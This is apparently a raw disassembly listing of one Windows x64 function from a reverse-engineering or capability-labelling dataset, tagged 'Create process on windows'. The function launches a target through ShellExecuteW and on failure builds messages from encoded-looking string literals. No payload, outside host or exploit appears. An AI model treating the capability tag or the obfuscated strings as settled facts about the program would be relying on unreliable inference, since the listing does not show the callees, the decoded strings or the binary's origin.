Function at 0x1400703c0
Capabilities:
Create process on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
mov r12, rcx
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x1400707f4
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x7f], rax
lea rcx, [rbp + 0x7f]
call fcn.14006ff30
mov rdi, 0xffffffffffffffff
test al, al
je 0x1400707b3
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9, r12
mov r8, qword [rbp + 0x7f]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x1400707bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x1400707ff
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x29], rax
lea rsi, str.bnBtYnNhcg
mov rdx, rsi
lea rcx, [rbp - 0x29]
call fcn.140031e00
test al, al
jne 0x14007049c
mov rax, rdi
inc rax
cmp word [rsi + rax*2], 0
jne 0x140070482
mov r8d, eax
mov rdx, rsi
lea rcx, [rbp - 0x29]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14007080a
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x31], rax
lea rsi, str.cWZtdUdsQXNwcGNsckBwbXVxY3BdY3BwbXA
mov rdx, rsi
lea rcx, [rbp - 0x31]
call fcn.140031e00
test al, al
jne 0x1400704ef
mov rax, rdi
inc rax
cmp word [rsi + rax*2], 0
jne 0x1400704d5
mov r8d, eax
mov rdx, rsi
lea rcx, [rbp - 0x31]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140070815
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x39], rax
lea rsi, str.JGNBbWJjOyNqcyRgcDsjdXE
mov rdx, rsi
lea rcx, [rbp - 0x39]
call fcn.140031e00
test al, al
jne 0x14007054a
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp word [rsi + rax*2], 0
jne 0x140070530
mov r8d, eax
mov rdx, rsi
lea rcx, [rbp - 0x39]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x140070820
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp - 0x21], rax
mov r15, qword [rbp - 0x39]
lea rcx, [r15 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x19], rax
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 1]
call fcn.14004beb0
nop
mov r9, qword [rbp + 0x7f]
mov r8d, ebx
mov rdx, qword [rax]
lea rcx, [rbp - 0x21]
call fcn.140025c80
nop
mov rdx, qword [rbp - 1]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400705bd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x14007082b
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x77], rax
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rbp + 0x77]
call fcn.140031e00
test al, al
jne 0x140070610
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400705f6
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x77]
call fcn.140032190
nop
call fcn.140031bd0
mov rcx, rax
test rax, rax
je 0x1400707e9
mov rax, qword [rax]
call qword [rax + SafeArrayPutElement]
add rax, 0x18
mov qword [rbp + 0x6f], rax
mov rdx, rbx
lea rcx, [rbp + 0x6f]
call fcn.140031e00
test al, al
jne 0x14007065c
mov rax, rdi
inc rax
cmp word [rbx + rax*2], 0
jne 0x140070642
mov r8d, eax
mov rdx, rbx
lea rcx, [rbp + 0x6f]
call fcn.140032190
nop
mov r14, qword [rbp - 0x31]
lea rcx, [r14 - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 0x11], rax
lea rdx, [rbp - 0x11]
lea rcx, [rbp + 0xf]
call fcn.14004beb0
mov rbx, rax
mov rsi, qword [rbp - 0x29]
lea rcx, [rsi - 0x18]
call fcn.1400318c0
add rax, 0x18
mov qword [rbp - 9], rax
lea rdx, [rbp - 9]
lea rcx, [rbp + 7]
call fcn.14004beb0
nop
lea rcx, [rbp + 0x77]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x6f]
lea r8, [rbp - 0x21]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
mov rdx, qword [rbp + 7]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400706df
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xf]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400706fd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x6f]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007071b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x77]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140070738
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, r12
call fcn.140070840
nop
mov rdx, qword [rbp - 0x21]
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14007075f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
lock xadd dword [r15 - 8], eax
sub eax, 1
jg 0x14007077b
mov rcx, qword [r15 - 0x18]
mov rax, qword [rcx]
lea rdx, [r15 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
lock xadd dword [r14 - 8], eax
sub eax, 1
jg 0x140070797
mov rcx, qword [r14 - 0x18]
mov rax, qword [rcx]
lea rdx, [r14 - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, edi
lock xadd dword [rsi - 8], eax
sub eax, 1
jg 0x1400707bc
mov rcx, qword [rsi - 0x18]
mov rax, qword [rcx]
lea rdx, [rsi - 0x18]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400707bc
mov rcx, r12
call fcn.140070840
nop
mov rdx, qword [rbp + 0x7f]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1400707d7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
add rsp, 0x90
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3